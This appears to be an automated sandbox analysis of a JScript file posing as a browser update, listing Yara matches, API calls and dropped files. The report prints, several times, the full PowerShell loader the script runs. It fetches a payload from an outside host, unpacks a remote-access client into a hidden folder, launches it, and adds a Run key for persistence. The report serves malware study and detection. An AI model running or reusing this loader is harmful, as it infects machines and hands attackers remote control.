Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/layout/treemap.js
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/layout/force.js
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/time/scale.js
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ecomfe/zrender/blob/master/LICENSE.txt
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://graphics.ethz.ch/teaching/scivis_common/Literature/squarifiedTreeMaps.pdf
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jsbench.me/2vkpcekkvw/1)
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F1108B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2060327981.000001F115392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jsperf.com/try-catch-performance-overhead
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://momentjs.com/
Source: wscript.exe, 00000000.00000003.2060327981.000001F113F92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F112FA2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2056949685.000001F1125A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2059083794.000001F10FEB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-daylight-saving-time-adjustment).

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57615
Source: unknown	Network traffic detected: HTTP traffic on port 57615 -> 443

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

5_2_1101FC20

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110335A0 GetClipboardFormatNameA,SetClipboardData,	5_2_110335A0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	5_2_1101FC20
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110335A0 GetClipboardFormatNameA,SetClipboardData,	6_2_110335A0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	6_2_1101FC20

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11033320 IsClipboardFormatAvailable,GetClipboardData,GetClipboardFormatNameA,GetLastError,GlobalUnlock,

5_2_11033320

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_110077A0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

5_2_110077A0

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11114590 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		5_2_11114590
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11114590 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		6_2_11114590

Source: Yara match	File source: 6.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2518592701.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2435714485.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_111165C0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		5_2_111165C0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_111165C0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		6_2_111165C0

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_380.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: dump.pcap, type: PCAP	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\updates[1].js, type: DROPPED	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\pcicapi.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\new_chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\TCCTL32.DLL	Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;			Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11113190: GetKeyState,DeviceIoControl,keybd_event,

5_2_11113190

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_1115EA00 FindWindowA,_memset,CreateProcessAsUserA,GetLastError,WinExec,CloseHandle,CloseHandle,CloseHandle,WinExec,

5_2_1115EA00

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102D9F4
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102DD21
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1102D900 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,FindCloseChangeNotification,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	6_2_1102D900

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848FE078D	3_2_00007FF848FE078D
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11073680	5_2_11073680
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11029BB0	5_2_11029BB0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110627B0	5_2_110627B0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110336D0	5_2_110336D0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11051800	5_2_11051800
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1115F840	5_2_1115F840
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1102BD40	5_2_1102BD40
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1101BCD0	5_2_1101BCD0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11087F50	5_2_11087F50
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11045E70	5_2_11045E70
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1101C110	5_2_1101C110
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_111640E0	5_2_111640E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11168345	5_2_11168345
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_111265B0	5_2_111265B0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11070430	5_2_11070430
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11080740	5_2_11080740
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1100892B	5_2_1100892B
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1101CF30	5_2_1101CF30
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_6EEFA980	5_2_6EEFA980
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110627B0	6_2_110627B0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11073680	6_2_11073680
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110336D0	6_2_110336D0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11051800	6_2_11051800
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1115F840	6_2_1115F840
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11029BB0	6_2_11029BB0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1102BD40	6_2_1102BD40
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1101BCD0	6_2_1101BCD0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11087F50	6_2_11087F50
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11045E70	6_2_11045E70
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1101C110	6_2_1101C110
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_111640E0	6_2_111640E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11168345	6_2_11168345
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_111265B0	6_2_111265B0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11070430	6_2_11070430
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11080740	6_2_11080740
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1100892B	6_2_1100892B
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1101CF30	6_2_1101CF30

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL 3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL 956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 11161299 appears 81 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 11027F40 appears 94 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 6EEF6F50 appears 35 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 11164ED0 appears 64 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 110B7EF0 appears 43 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 11147060 appears 1207 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 1105E820 appears 588 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 1105E950 appears 54 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 111744C6 appears 40 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 11147AD0 appears 44 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 6EF07D00 appears 31 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 11081E70 appears 89 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 1109DCE0 appears 32 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 11029A70 appears 2012 times
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: String function: 1116FED0 appears 74 times

Source: Update 124.0.6367.158.js

Initial sample: Strings found which are bigger than 50

Source: amsi64_380.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: dump.pcap, type: PCAP	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\updates[1].js, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winJS@8/46@3/4

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_1105A760 GetLastError,FormatMessageA,LocalFree,

5_2_1105A760

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1109D860 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	5_2_1109D860
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1109D8F0 AdjustTokenPrivileges,FindCloseChangeNotification,	5_2_1109D8F0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1109D860 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	6_2_1109D860
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1109D8F0 AdjustTokenPrivileges,CloseHandle,	6_2_1109D8F0

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11116880 CoInitialize,CoCreateInstance,LoadLibraryA,GetProcAddress,SHGetSettings,FreeLibrary,CoUninitialize,

5_2_11116880

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11089430 FindResourceA,LoadResource,LockResource,

5_2_11089430

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11128B10 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

5_2_11128B10

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\updates[1].js

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3200:120:WilError_03
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lssnfszl.x20.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\KYED2\client32.exe "C:\Users\user\AppData\Roaming\KYED2\client32.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\KYED2\client32.exe "C:\Users\user\AppData\Roaming\KYED2\client32.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\KYED2\client32.exe "C:\Users\user\AppData\Roaming\KYED2\client32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\KYED2\client32.exe "C:\Users\user\AppData\Roaming\KYED2\client32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
